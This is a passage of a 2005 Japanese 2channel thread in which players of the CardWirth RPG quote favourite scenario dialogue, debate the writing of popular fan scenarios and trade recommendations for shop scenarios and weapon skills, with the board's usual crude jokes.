「ものは相談なのだが〜(略」(オチにモロに関係するから省略)
対象消去で吹っ飛ばした後の流れもいい。
全体的に雰囲気が良くて気に入ってるのは「月に向かう船」かな。タイマンとか。

555 :名無しさん@お腹いっぱい。:2005/06/21(火) 21:22:07 ID:c3UHnR3+
PC「彼女が俺を呼んだからでは?」
イカレ助教授「それだけでは足りない!云々」
PC「俺がそれを聴いたからでは?」

影たちの輪舞曲より。PCの簡潔だけど力強い言葉にじーんと北。

556 :名無しさん@お腹いっぱい。:2005/06/21(火) 21:50:50 ID:VgnHQwky
「……血の魔方陣、

 それに拙い祭壇……。

 召喚の手法が
 間違いだらけだ」

子供狩りから。ネクロ参謀萌え

557 :名無しさん@お腹いっぱい。:2005/06/21(火) 21:54:19 ID:X9f5JF82
夢は南海を駆けるのセリフは全体的に物凄く大好きだ。
臭い? 恥かしい? イカレテル?
だ が 、 そ こ が い い。

ああいうシナリオでねえかなあ。

558 :名無しさん@お腹いっぱい。:2005/06/21(火) 21:59:28 ID:oiuDRokc
リトル★ウィッチの監視さん。
「ああ!?
なにこれ!?
こんなに残ってるじゃんお前!?
何なんだよお前!?
食べ物だぞ!?
粗末にすんなよお前!!!
おい、お仕置きだぞお前!
ちょっとこいお前!!
なにやってだよ、おい!」

559 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:00:32 ID:O5dRpWto
>>556
子供狩りのその台詞はぞくぞくした。参謀萌え。


 『……なあ、あのオーガ、泣いてないか?』

        『地顔だろ』

        『なるほど』

無声劇より。

560 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:09:02 ID:9bPiK3MU
時紡ぎより

 驚き覚めやらぬあなたに「あなた」は言った。

「虹蚕の卵を持ってるだろう?
 譲ってくれないか」

「そう言うと思った。」「あなた」はそう言って笑った。

561 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:15:28 ID:pEHkcD0f
「悪いがわしは、

 他人の大事にしているものを
 いただくのが
 無上の喜びなのじゃ……」


「竜殺しの墓」。
老盗賊(♀)にしびれた。

562 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:15:55 ID:dBdqZkV7
古き沼の大蛇
「OK、まかせとけ。あんなのちょちょいと言いくるめてやるよ」

最近話し掛けるネタ見ない

563 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:45:39 ID:7LMYLNrc
奇 塊より
「び、び、び、ビンゴぉぉぉっ!!」
                byダスキン

564 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:57:06 ID:pEHkcD0f
「びぎゃあぁぁあああ〜!!

 やっぱり出た〜〜〜〜〜!!」


「見えざる者の願い」よりあのお方。びぎゃあぁぁあああってお茶目。

565 :名無しさん@お腹いっぱい。:2005/06/21(火) 22:57:48 ID:9bPiK3MU
台詞じゃないけど、逆転判決のラスト。
口には出さない優しさが逆に冒険者のかっこよさを際立たせてると思う。

566 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:04:34 ID:hT3Tez8N
当然だ。
ナマクラな鉄の棒がどんなに痛いか…
…たっぷりと思い知らせてから、
やつを地獄に送ってやる

-竜殺しの墓-

567 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:06:36 ID:Lf4cnHwn
「街の人間全てが暗殺者となったら、我々は何を枕に寝れば良いのだ!?」
ヒラエ氏のシナどれか。何だっけ?

568 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:08:37 ID:9bPiK3MU
>>567
生宝
あの悪役には痺れた。カザに講義してやってくれ。

569 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:18:23 ID:9bPiK3MU
ミスったガザね。

フロンティアの
故郷はどこの問いに対して、今は無いと答えたときの
「気にするな。 いつでも、ここにあるんだから」っと胸に手を当てるのもかっこよかった。


570 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:30:19 ID:YaZgV679
夢の王様の最後の手紙がな…あのたどたどしい文面がな…。

571 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:40:49 ID:okwjfCss
燃える商魂で、眉間から血吹き出してぶっ倒れた時の
「クジラ、クジラ」に笑った。


「あの依頼人……顔は覚えた。 地獄の砂を噛ませてやる……」
by蜘蛛天井

572 :名無しさん@お腹いっぱい。:2005/06/21(火) 23:58:03 ID:0i+prRdl
老兵の歌の

「遠からん者は音に聞け!
 近くば寄って目にも見よ!
 我こそは、その名も高き
 『竜殺し』ギルバートなり!」

が好き。

>>569
フロンティアなら

「見てなさい。祈る女の恐ろしさを思い知らせてあげるわ」

が好き。ルートと性別によって見られないけど。

573 :名無しさん@お腹いっぱい。:2005/06/22(水) 00:17:56 ID:QvzTGiMM
>>547
久し振りにプレイしたシナだが…

「ワシはひとつわかったぞ。
 人間は、殺し、喰らうだけが 
 楽しみではないという事じゃ。」(惨劇の記憶)

決戦前の某NPCとのやり取りはCWシナ屈指の名場面だと思う。

574 :名無しさん@お腹いっぱい。:2005/06/22(水) 00:33:58 ID:LSf2BNaz
台詞を聞くだけでその場面を思い出してニヤリとさせられるな。

連続殺人事件からもう一つ。
「フヘ…俺達は、「9、10レベル冒険者」様だぜ?
 お前ら三下程度のやる事、みーんなお見通しなんだよお!」

冒険者かくあるべし。
間違ったルートとか言わない。

575 :名無しさん@お腹いっぱい。:2005/06/22(水) 00:41:59 ID:QmkleGsA
みーんなお見通しなんだお

一文字抜けると間抜けに聞こえなくもない
って余計な突っ込みごめん

576 :名無しさん@お腹いっぱい。:2005/06/22(水) 00:58:18 ID:jtJYOGN9
某ライトノベルの某エルフの子供だな。

577 :名無しさん@お腹いっぱい。:2005/06/22(水) 01:04:42 ID:3ZqNh1pi
      //
    / .人
    /  (__) パカ
   / ∩(____)   呼んだ?
   / .|( ・∀・)_
  // |   ヽ/
  " ̄ ̄ ̄"∪

578 :名無しさん@お腹いっぱい。:2005/06/22(水) 01:46:18 ID:TouI0VTj
コードネーム:pktnはしかるべき場所に! (・ヘ・)つ[帰還の法]

579 :駄レスの魔術師:2005/06/22(水) 06:41:54 ID:UWzax1iI
なんでちんちんすぐかゆくなってしまうん?

580 :名無しさん@お腹いっぱい。:2005/06/22(水) 07:59:48 ID:E6dPfeoY
ベタだけど、
     「さあ選べ、捨てるのは誇りか服か!」(Sad in Satin)

つか、>>547って縦読みじゃねーか。

581 :名無しさん@お腹いっぱい。:2005/06/22(水) 08:14:39 ID:k61Hz+CS
「私は常識人をやめますよ、(PTの竜人格闘家の老人)!」
怒れる者より、術師ペンギンプッツン。

582 :名無しさん@お腹いっぱい。:2005/06/22(水) 10:21:35 ID:ZdzwPwei
縦読みと話題変えを実現させた>547に乾杯

583 :名無しさん@お腹いっぱい。:2005/06/22(水) 11:30:34 ID:PT0WcEXc
「行けない世界には価値がある。
 だが、もう行ける世界だ。行ける世界には何の価値もない」(アナザエンド)

584 :名無しさん@お腹いっぱい。:2005/06/22(水) 11:54:05 ID:KG9cctT8
>>580
脱ぐんじゃなかったっけ?

585 :名無しさん@お腹いっぱい。:2005/06/22(水) 12:20:12 ID:QZdnr2R2
いや、プレイヤーが選択。>>584は当たり前の様に脱がせたようだがw

586 :名無しさん@お腹いっぱい。:2005/06/22(水) 15:09:33 ID:koJslPzQ
「我々は単体で完結している!」(ニキという人)

587 :名無しさん@お腹いっぱい。:2005/06/23(木) 00:06:17 ID:iQm9j3mK
>>585
PCのセリフについて言ってるんだと思われ
×「選べ、捨てるのは誇りか(略」
○「選べ、脱ぐのは誇りか(略」

588 :名無しさん@お腹いっぱい。:2005/06/23(木) 08:33:33 ID:FDIcM7rK
>>587
「選べ、捨てるのは誇りか(略」の方は誰の台詞だっけ?
竜殺しのギルバート?

589 :名無しさん@お腹いっぱい。:2005/06/23(木) 13:37:16 ID:o+FsDkTt
>>588
つ、釣られないぞ!!

590 :名無しさん@お腹いっぱい。:2005/06/23(木) 17:00:09 ID:Qlw5rt/X
HDDが損傷して、データは何とか復旧できたものの
作ってたシナリオが壊れてて読み込んでくれないorz

シナ作ってる人はバックアップは忘れずにな。

591 :名無しさん@お腹いっぱい。:2005/06/23(木) 17:03:09 ID:02SjLp6o
>>590
ドンマイ。

592 :名無しさん@お腹いっぱい。:2005/06/23(木) 17:58:05 ID:pPTbGCne
>>590
それは「もう一度初めから作り直せ、さすれば更に良作となるだろう」
というネ申のお告げに違いない。
がんがって作り直してうpしる。

593 :名無しさん@お腹いっぱい。:2005/06/23(木) 18:04:39 ID:JFGlHbzV
データをバラにして読み込めば、いくつかは助かっているんかもよ?

594 :名無しさん@お腹いっぱい。:2005/06/24(金) 03:30:10 ID:y+lkklty
新作らしき物が3つ上がってるけど
もしかして全部狂い系なのか?これは

595 :名無しさん@お腹いっぱい。:2005/06/24(金) 09:05:25 ID:6MfhuRPi
>>594
どうもそれっぽく感じられるな。
個人的に狂い系は生理的に嫌いなので、誰か人柱になってくれる勇者は居ないものか。

596 :名無しさん@お腹いっぱい。:2005/06/24(金) 09:25:38 ID:FMMfI4mM
上二つしかやってないが、そこそこ楽しめると思う。
狂いの要素はあるが、丁寧に作られたギャグシナ。
特に蒼龍の瞳は結構おもしろかった。
八雲氏のは相変わらずパロディっぽいけど。

597 :名無しさん@お腹いっぱい。:2005/06/24(金) 10:21:10 ID:9A9SFraS
老人と梅

狂狂ワールドに近い感じの狂いシナ。
よくわからない老人とアニキ風の男に振り回される話。
アニメやゲームの小ネタが多いので知らないと辛いかも。
密室殺人事件の回答に「自分の屁の臭さで死んだ」を
選んだら正解になったのにはワロタw

598 :名無しさん@お腹いっぱい。:2005/06/24(金) 23:11:50 ID:y+lkklty
俺も老人と梅をやってみた

最後は予想外だった

599 :名無しさん@お腹いっぱい。:2005/06/25(土) 10:15:09 ID:3N/BRWrc
シナ感の(´∀`)判定出てる奴とかは大抵落としてクリアしたんだが、
何かマイナーなお勧めシナみたいなもん無い?

そろそろ地雷覚悟で手当たり次第やってみる時期かなう。

600 :名無しさん@お腹いっぱい。:2005/06/25(土) 11:15:08 ID:83EwGGec
おうこさんさんのシナリオがDL出来るならそれを勧めるんだが

601 :名無しさん@お腹いっぱい。:2005/06/25(土) 12:23:49 ID:PvsjX5eM
とりあえず新しいので妄想、メゾン、批評(匿名ではない)、夜灯
古いので土人、thu辺りのお勧めor高評価シナ。
まあ、ほとんどマイナーでもないしやってるだろうが。
そういや最近更新してる感想サイト2〜3個くらいしか知らねえや。

あとはポパイのシナ全般かな。
それと「メウレンの花」、「ブレイブソウル」辺りは匿名やらの
評価は低いが、作りはよく出来てる。これもマイナーじゃないけどね。

ところで名前忘れたんだが、道端で女の子とぶつかって
色々材料集めさせられるシナってなんだっけ?
何か一枚絵で金髪の女の子が立ってるやつ。

602 :名無しさん@お腹いっぱい。:2005/06/25(土) 12:28:59 ID:2UhrTlkr
>>601
それだけじゃちと分からんな。
もしかしたら「はちみつ日和」ではあるまいか。

603 :名無しさん@お腹いっぱい。:2005/06/25(土) 12:35:02 ID:PvsjX5eM
>>602
サンクス。それだったわ。
何気にあれマイナーだと思ってたんだが、普通に感想サイトに載ってたね。

604 :名無しさん@お腹いっぱい。:2005/06/25(土) 20:31:45 ID:ke4hzCcZ
>>600-603
ありがd。
感想サイト二つばかり知らんかった。
「おうこさんさん」はググっても出なかったが、DL出来るものはやってみる。

605 :名無しさん@お腹いっぱい。:2005/06/25(土) 20:32:39 ID:IizF9kWM
>>604
黄狐さんさんを知らないとはなんというアレ!

606 :名無しさん@お腹いっぱい。:2005/06/25(土) 21:24:02 ID:L98pR/YE
はちみつ日和のあれって女の子だったか・・・?

607 :名無しさん@お腹いっぱい。:2005/06/25(土) 21:26:35 ID:Pw3ogS1h
でも男の子

608 :名無しさん@お腹いっぱい。:2005/06/25(土) 23:51:12 ID:1NQ+NHOP
激しく人を選ぶからあんまり期待しないように>>黄狐さんさん

609 :名無しさん@お腹いっぱい。:2005/06/26(日) 00:36:49 ID:6+MriiIw
おうこさんさん>>>>>>>>(越えられない壁)>>>>>>>>なかじまさん

610 :名無しさん@お腹いっぱい。:2005/06/26(日) 01:27:17 ID:Dp0be0xJ
おうこさんさん、どうして昔のシナリオ消したんだろう

611 :名無しさん@お腹いっぱい。:2005/06/26(日) 01:47:19 ID:4mDHSCla
下水道〜とか、もう遊べないんですかね?残念だ。
そういやチルリル、クリア出来なくて泣いた記憶がある…どうすんだろ。

612 :名無しさん@お腹いっぱい。:2005/06/26(日) 01:56:55 ID:4U2pdlah
根性とマッピングと動物的カンでアイテムを活用すること。

613 :名無しさん@お腹いっぱい。:2005/06/26(日) 08:23:57 ID:PTLZhyDE
>>610
チルリルが新人の新作と見せかけるため。

614 :駄レスの魔術師:2005/06/26(日) 12:58:22 ID:giZvJVEp
ちんちんかゆい

615 :名無しさん@お腹いっぱい。:2005/06/26(日) 20:01:37 ID:ZhvCJYqv
下水道生活者の手記は結構面白かったんだけどな。
チルリルはワロタが面白かったかと聞かれると微妙だ。

616 :名無しさん@お腹いっぱい。:2005/06/26(日) 21:16:07 ID:0e2XRas0
そもそもあんなんクリア出来ないし

617 :名無しさん@お腹いっぱい。:2005/06/26(日) 21:17:20 ID:4U2pdlah
できないことはないぞ。
げんに俺はなんとかクリアした。

618 :名無しさん@お腹いっぱい。:2005/06/26(日) 22:43:57 ID:N0au+uIQ
そういや、下水道とチルリルの間に一作あったらしいがプレイしてねえや
面白かった?

619 :名無しさん@お腹いっぱい。:2005/06/26(日) 22:46:31 ID:F8mUmS4j
>>618
奈落への頽廃の主人公PCでプレイするとしっくりくる。

まぁそういう性格前提のシナ。

620 :名無しさん@お腹いっぱい。:2005/06/26(日) 22:50:58 ID:4U2pdlah
うん?沈黙が処女作じゃなかったっけ?

621 :名無しさん@お腹いっぱい。:2005/06/26(日) 23:34:54 ID:If6mZlur
おい、皆さん、聞いてください。

今日ね、初めてこのカードーワースってゲームをやったんですよ。
これめっちゃ面白いですよ。ハマる。

おいらがやったシナリオは、かずくん、って人が作った「闇の塔」
これ最高。ハマる。
既存のRPGには無いスリルとサスペンス、迫力がありまくり。
戦闘とか斬新だし、これぞおいらが求めてたRPGだ。

皆さん、こんな面白いゲームを紹介してくれてありがとう。
他にもシナリオはたくさんあるようなのでやってみますね。

622 :名無しさん@お腹いっぱい。:2005/06/26(日) 23:59:36 ID:LHCH+qRU
確かに初期バージョンはハマって抜け出せないが。

623 :名無しさん@お腹いっぱい。:2005/06/27(月) 02:21:08 ID:TNQKVe4W
やっと竜殺しの墓終わった。
感想は微妙。
話は面白いんだけど、PC含むキャラの台詞の中身が面白くない上に長すぎ。
何回も連打で読み飛ばしちゃったよ。
あと、同じ内容の話を繰り返すのもやめて欲しかった。
それさっき話したじゃん…って思うことしばしば。くどいというか、しつこい。
台詞を1/5くらいに減らせれば名作に同意できたかも。
みんなはここんとこどうよ?

↑と同じ理由でミエナイトモダチも断念。
始めの依頼人最悪。つまらん話長々すなっつの。
こいつとの会話中にキャンセル。しかも二回もw
さすがにもうゴミ箱。
みんなここんとこどうよ?


624 :名無しさん@お腹いっぱい。:2005/06/27(月) 02:34:31 ID:ixxyMv0C
堪え性がないんだね。

625 :名無しさん@お腹いっぱい。:2005/06/27(月) 02:37:10 ID:HP+VRc+w
というか文を読むことに慣れてないんじゃないか?
その辺りのシナの台詞回しとか、かなり素敵な部類だと思うんだけど。

626 :名無しさん@お腹いっぱい。:2005/06/27(月) 02:40:11 ID:ixxyMv0C
つーかネタじゃないか?
是非>>623のお気に入りのシナを聞きたいところなんだが。

627 :名無しさん@お腹いっぱい。:2005/06/27(月) 02:57:20 ID:Aztl6cKJ
>>626
きっと雪げn(ry

628 :名無しさん@お腹いっぱい。:2005/06/27(月) 03:20:52 ID:dQk6ga9a
俺も竜コロリの台詞の多さに関しては同意。
どう考えても無駄な会話が多すぎる。
深海〜くらいで丁度いい。
部分部分の台詞回しは上手いだけに残念。


しかし不思議なことに、竜コロリより圧倒的に台詞量の多い影ロンに至っては
プレイ中苦痛を伴うどころか、続きが読みたくて仕方ない衝動に駆られたな。
文才があるかないかであそこまで違ってくるのかと感心させられたもんだ。

V4氏には悪いが、彼の文才は凡庸のそれを抜け出せていない。
S2002氏や海女血氏に引けはとらまいという気概は感じられるのだが、
PCの台詞一つとってもどうしても見劣りしている。
むりやり難しい語彙使ってみました〜、的な意図が見え隠れしてどうも好きになれない。

まあ台詞回しを重視する俺に限った意見なわけで、
彼の作品はそれを補って余りあるギミックの技巧に支えられている点は言うまでもない。
ただ個人的には、作者が名作たるべくして作った感がひしひしと感じられるため、
アモーレや影ロンとはまた違った位置付けの名作であると解釈している。
竜コロリは人工的、アモーレ等は自然的、とでもいうか。
竜コロリからは尖ったセンスが感じられない点も一因しているように思う。

結論からいうと、俺は竜コロリよりアモーレのほうが好きってこと。
影ロン≧アモーレ>>>>>越えられない壁>>>>>ミエトモ=竜コロリ。


チラシの裏からはみ出たため、そのまま垂れ流しますた。
叩いたり炙ったりして燃料に使ってくださいね。

629 :名無しさん@お腹いっぱい。:2005/06/27(月) 03:27:58 ID:BwGI+LQy
長文乙。2行目の
>俺の尻の穴に貴方の野太いちんぽぶち込んでくれませんでしょうか?
まで読んだ

630 :名無しさん@お腹いっぱい。:2005/06/27(月) 03:38:34 ID:HP+VRc+w
竜殺しの墓は正統派ファンタジーだからいいんですよ、ええ。
なんだかんだでこういうのを求めてしまうんです。
名作たるべくして作った感、等は同意。

というか、俺は正直アモーレが余り好きじゃない。
フードの男(名前失念)が、私は神の使いで悪の根を摘みに来ました、的説明を始めた辺りで興ざめ。
それをあまり厨臭く感じさせない知識と、文章力は流石だとは思うが。
個人的に、早い段階で処女懐妊の真相が読めたのもあると思う。

631 :名無しさん@お腹いっぱい。:2005/06/27(月) 04:01:18 ID:FUHlzOry
>>628
おぬしの感想を全て逆にしたら俺の感想になるのは何故だろうな

というか>>623>>628のような気が

632 :名無しさん@お腹いっぱい。:2005/06/27(月) 05:21:41 ID:lvpUf15G
>>631
信者乙。

633 :名無しさん@お腹いっぱい。:2005/06/27(月) 05:36:21 ID:zhyCPPPp
天地信者は毎度毎度文才という言葉ですべてを正当化するからキモいな。
今回は竜コロ、ミエトモなんかと対比してるからそれが露骨にうかがえる。
その調子だと、先生の講義は眠くなるけど、漫才は面白く聞けるってだけじゃねえの?
本当に活字を読んでいて文才を語るなら、竜殺しなんかじゃなく、
ヌートリアAや黄弧の旧作品、発狂道化師などを挙げて物を言うべき。

634 :名無しさん@お腹いっぱい。:2005/06/27(月) 05:50:35 ID:tNmMSl19
その四つで台詞関連が一番自然だと思ったのはミエナイトモダチかな。
漏れはハッピーエンド好きだから何度もやらんが。

635 :名無しさん@お腹いっぱい。:2005/06/27(月) 06:46:06 ID:ZwST0R7s
発狂道化師って夢は南海を駆けるしか知らないんだけど
他にもシナあるの?


636 :名無しさん@お腹いっぱい。:2005/06/27(月) 08:05:51 ID:Oox+E2+7
竜コロリやアモーレもそろそろ、昔は名作だった汎作として扱い出す香具師が出る時期に来ている、ということなのだと肯定的に受け止めてみる。
時計台とかと同じやね。
3年も前の作品なんだからいい加減後進に王座を譲り渡してもいいだろう。

>>635
ttp://www.google.com/intl/ja/

637 :名無しさん@お腹いっぱい。:2005/06/27(月) 09:03:21 ID:+5FNMs1T
話に出た影ロンは竜コロリ、ミエトモより以前の作品な訳だが。
どっちにしたって竜コロ、ミエトモ、影ロンを越えるシナが最近出たかというと、
果てしなく微妙だがな。

638 :名無しさん@お腹いっぱい。:2005/06/27(月) 09:24:00 ID:Pc6YKbnD
>>637
後半二行同意
今すぐに挙げろと言われても思いつかない

639 :名無しさん@お腹いっぱい。:2005/06/27(月) 09:27:29 ID:aQ9VfRPa
結局どれだけ多くのプレイヤーに印象を残せたかどうかだと思うぜ。
残ってるから語られるし、残ってなきゃ記憶の片隅に忘れ去られる。

640 :名無しさん@お腹いっぱい。:2005/06/27(月) 10:31:53 ID:TVaPCtwM
それらを越えるの基準が人それぞれだから、何を挙げようが反論は出るし答えも出ないよ。
竜コロリはむしろ出た当初の方が名作になれない佳作って意見が凄く多かった。

個人的に名作の基準を挙げるなら、新しく宿を用意したら一度はやり直したくなるものだと思うが、
取り合えず>>628で上がったシナはどれもとても面白かったがもう一度やり直したくはないな。

641 :名無しさん@お腹いっぱい。:2005/06/27(月) 11:07:23 ID:Pc6YKbnD
竜コロリとミエナイはもう三回ぐらいプレイしてるが、
さすがにこれ以上やる気はおきないな
そう考えるとキーレや隠者あたりの店シナの方が多くプレイしてる

642 :名無しさん@お腹いっぱい。:2005/06/27(月) 11:09:03 ID:kbwf3Lsb
店と並べるのはどうよ

643 :名無しさん@お腹いっぱい。:2005/06/27(月) 11:16:55 ID:Pc6YKbnD
店だってそう何度もプレイしたくなるのはないと思うんだけどな
フォルダの中に残ってる店シナは隠者とキーレ、スタダスと世捨てぐらいだし
プレイし直し易いとは思うけど、店も一つのジャンルとして見ては駄目かな?

644 :名無しさん@お腹いっぱい。:2005/06/27(月) 11:38:22 ID:iBe/FFId
店はPCのレベルがある程度上がったら再入店とかしないか?

645 :名無しさん@お腹いっぱい。:2005/06/27(月) 12:04:09 ID:2n+3MPeV
結局は炉川の情報操作にかかったお前達がリュートライ

646 :名無しさん@お腹いっぱい。:2005/06/27(月) 12:11:19 ID:ImmKtJuE
>>644
金がたまってLvも上がった頃、だろうな。
100spに泣いたことが何度か。

金が余ってるとスキル欄が足りなかったり。

647 :名無しさん@お腹いっぱい。:2005/06/27(月) 13:03:58 ID:JMzLhkNz
店は必要から、プレイするもんだからなぁ。
必要とされる品揃えを用意している点は、評価すべきだろうけど。
オレは、一般のシナリオと同列にはプレイ回数を考えないね。

648 :名無しさん@お腹いっぱい。:2005/06/27(月) 14:11:24 ID:Pc6YKbnD
割とどうでもいいが、
漏れは>>640の"新しく宿を用意したら"プレイしたくなるって点についてレスしてるんで、
同一宿内でのプレイ回数は問題としてないよ

649 :名無しさん@お腹いっぱい。:2005/06/27(月) 14:12:54 ID:Pc6YKbnD
…というか、どんどん論点から離れていってるな、スマソ

650 :名無しさん@お腹いっぱい。:2005/06/27(月) 14:50:28 ID:HAxTf+bm
一度はやりなおしたくなる=名作ってのは違う気がする。

651 :名無しさん@お腹いっぱい。 :2005/06/27(月) 15:21:14 ID:NAzDPuc5
>>633
文章力なら海女知=はきょん=S2002>>>>>>>>>おうこ>>(超えられない壁)>>>>>>>>>>>>真性ネットサイコ閣下

652 :名無しさん@お腹いっぱい。:2005/06/27(月) 15:27:30 ID:WWlKZDeF
おうこさんさんをなめるな!

後、黄狐さんまでがHN。

653 :名無しさん@お腹いっぱい。:2005/06/27(月) 15:41:23 ID:HAxTf+bm
おうこさんさんは正直あのシナじゃ文章力とかわからん。
あ、おうこさんはいいと思います。

654 :名無しさん@お腹いっぱい。:2005/06/27(月) 15:56:58 ID:TcR1bd+7
クーポンでマ○ンコを表現するなんて古今前例のない偉業だぞ。

655 :名無しさん@お腹いっぱい。:2005/06/27(月) 15:59:42 ID:WWlKZDeF
>>654
確かに噴いたw

656 :名無しさん@お腹いっぱい。:2005/06/27(月) 19:14:51 ID:Q+LC7vqA
>>640
>竜コロリはむしろ出た当初の方が名作になれない佳作って意見が凄く多かった
出た当初もシナ語も居たが、んなこたなかったぞ。

657 :名無しさん@お腹いっぱい。:2005/06/27(月) 20:36:21 ID:ekSFeMrj
結局嘘を嘘と見抜けない奴は一生リュートライって事な訳ですよ。

658 :名無しさん@お腹いっぱい。:2005/06/27(月) 21:42:51 ID:qU8wTwxn
>>654
くわしく

659 :名無しさん@お腹いっぱい。:2005/06/27(月) 21:49:35 ID:hhyD7pQe
>>658
チルリル本編やる前に薬屋に突入。

660 :名無しさん@お腹いっぱい。:2005/06/27(月) 22:21:36 ID:Ayz6LCME
>>643
同意。物語と所持品とは、言わば酒と肴のような関係だと思う。
いい冒険を楽しむには旨い所持品が欲しいし、
せっかく旨い所持品を手にする事が出来たならば、
今度はいい物語に出会いたくなる。そんな感じかと。

661 :名無しさん@お腹いっぱい。:2005/06/27(月) 22:40:41 ID:iUV5G1kF
嘔吐さんさんの「こどもさん」たちに萌えたのは秘密だ。

662 :名無しさん@お腹いっぱい。:2005/06/27(月) 22:51:16 ID:zCPOxIb4
>>660
菊正宗のCMみたいだな

663 :名無しさん@お腹いっぱい。:2005/06/27(月) 23:05:46 ID:EyWqDplr
俺のフォルダに常駐してるのは隠者、コルサント、下男あたりだ

他にいい雰囲気漂わせてる店シナ知らない?

664 :駄レスの魔術師:2005/06/27(月) 23:30:13 ID:0lsXp44i
ちんちんかゆい

665 :名無しさん@お腹いっぱい。:2005/06/27(月) 23:36:45 ID:zCPOxIb4
昔日の英雄は好きだ
店主がジジイなのが特に好印象

666 :名無しさん@お腹いっぱい。:2005/06/27(月) 23:52:48 ID:qU8wTwxn
>>659
了解
落としてくるぜthx

667 :名無しさん@お腹いっぱい。:2005/06/28(火) 00:41:32 ID:LiBJBpRg
店シナはStar Dust、フリオの魔法道具屋、花散里あたりが良い。

668 :名無しさん@お腹いっぱい。:2005/06/28(火) 00:53:23 ID:+VxX5NSv
まあ店シナは好みによるものが大きいからな。
そんな俺はecclesia。

669 :名無しさん@お腹いっぱい。:2005/06/28(火) 01:00:30 ID:w9x84T3a
もっと槍を! 短槍技能とか逆に長槍技能とか。
というわけで、昔日の英雄とかスタダスとかは好きですな。

670 :名無しさん@お腹いっぱい。:2005/06/28(火) 01:14:07 ID:+VxX5NSv
っ参技指南所
というかこの人の画像改変は、やりすぎてもはや原型を止めてない・・・。
ここまでいくと清々しく感じる。

671 :名無しさん@お腹いっぱい。:2005/06/28(火) 01:18:00 ID:HpB6B9Es
槍スキルはやっぱり敏捷性重視な速突き技が多いんだなぁ
鈍重で豪快な大槍ってイメージで探すと中々見つからなかったりする

672 :名無しさん@お腹いっぱい。:2005/06/28(火) 02:13:58 ID:ndOYZjNR
NIFQ 氏の店シナは良い。

673 :名無しさん@お腹いっぱい。:2005/06/28(火) 03:47:57 ID:ooWhaOTB
斧技や弓技や体術も増えてきたな
槍が少なくなるとはおもわんかった
戦争で使うような長槍は冒険じゃあ使えないからか?

未だに出て居なさそうな武器スキルって何が有るだろうか
ツルハシ技とか?

674 :名無しさん@お腹いっぱい。:2005/06/28(火) 04:01:33 ID:UeUoh6/r
鎖鎌、鎖分銅、鉄球、中華剣、暗器、チャクラム等々…

675 :名無しさん@お腹いっぱい。:2005/06/28(火) 04:37:56 ID:nvgUWidK
棒術とか鞭術とか。投擲技もちらほらあるけどもうちょっと欲しい。

>>672
断崖の町で、何回行っても魔物スキル教えて貰えるところが表示されんのだが
どうすりゃ良いんだろう。

676 :名無しさん@お腹いっぱい。:2005/06/28(火) 05:51:01 ID:nAIyWQeW
>>675
1.28専用+ティ風呂の中にあるファイルを解凍すべし

677 :名無しさん@お腹いっぱい。:2005/06/28(火) 06:57:58 ID:nvgUWidK
>>676
dクス。
勘違いで、ティフロ自体にファイル上書きしちゃったりもしたけれど、
私は元気です。

678 :名無しさん@お腹いっぱい。:2005/06/28(火) 12:59:39 ID:4B8WX3J7
だれか、私の代わりに、マルコ女史・・ではなく、丸子氏
(本人の自己申告に合わせました)の店シナやった人います?

でも、自分の考えた設定がもろに出る、アドベンチャー系や
ある程度の技術がいるダンジョンでもなく、
店シナなんて、なんか安全牌っぽい。

679 :名無しさん@お腹いっぱい。:2005/06/28(火) 13:11:43 ID:RoRIXNLB
なんであんたの代わりにやらにゃならんのだ

680 :名無しさん@お腹いっぱい。:2005/06/28(火) 13:36:39 ID:EQWhR75G
>>678
2行目の(本人が自作自演で書き込みました)まで読んだ。

681 :名無しさん@お腹いっぱい。:2005/06/28(火) 13:59:12 ID:SX//y4gW
>>678

682 :名無しさん@お腹いっぱい。:2005/06/28(火) 14:05:45 ID:gaQqOcNU
マルコ乙

683 :名無しさん@お腹いっぱい。:2005/06/28(火) 14:06:09 ID:ojWw1iD4
>>671
実際の所、重い槍を振り回すなんて馬鹿馬鹿しい事(体力ばかり消耗する)なんか冒険者はやらないだろうからな。
ただ、某天下一の傾奇者みたいに槍をぶん回して一振りごとに十人以上の首が飛ぶ豪快な技も見てみたい気はする。

684 :名無しさん@お腹いっぱい。:2005/06/28(火) 14:21:23 ID:SX//y4gW
マジレスすると槍は首を飛ばす使い方はしないんだわ

685 :名無しさん@お腹いっぱい。:2005/06/28(火) 14:23:37 ID:v44f/Sc4
前田慶次のアレはある種のファンタジーだからいいんです。

686 :名無しさん@お腹いっぱい。:2005/06/28(火) 15:44:47 ID:TggQRcVK
>>684
そんなこと言い出すと、CWの大半の技が
怪しくなってくるわけで。

>>683
まぁ、薙ぎ倒しのコンパチ技ってとこですかな。

687 :名無しさん@お腹いっぱい。:2005/06/28(火) 15:54:54 ID:ULHIAQQK
地味にティフロの技能使いやすいよな
あれメジャーだと思ってたんでビホ叩きに対応してなくて驚いた

メジャーな店(都市?)シナってキーレ、リューン、ポートリオンくらいかな

688 :名無しさん@お腹いっぱい。:2005/06/28(火) 15:55:08 ID:3eU+k6Db
だいたい、リューンの居合切りから怪しいじゃん。

689 :名無しさん@お腹いっぱい。:2005/06/28(火) 16:07:16 ID:F5xwswLB
直剣で居合だし何故か幽霊切れるし

まあ好きなように作れば良いわけだな

690 :名無しさん@お腹いっぱい。:2005/06/28(火) 16:30:28 ID:v44f/Sc4
というかAsk神は居合いって何か知らない希ガス

691 :名無しさん@お腹いっぱい。:2005/06/28(火) 16:34:28 ID:3eU+k6Db
>>690
いくらなんでも、それはないだろw

腰に携えた直剣での居合いもやって出来ないことはない。
曲刀ほど様にはならないけど。

それで切れるのかといわれたら、だから筋力がいるんですよと返す。



692 :名無しさん@お腹いっぱい。:2005/06/28(火) 16:48:36 ID:FDR62Yj8
さあ、そろそろ上半期も終わりなわけなんだが、







シナ少ねえな。

693 :名無しさん@お腹いっぱい。:2005/06/28(火) 17:07:01 ID:gaQqOcNU
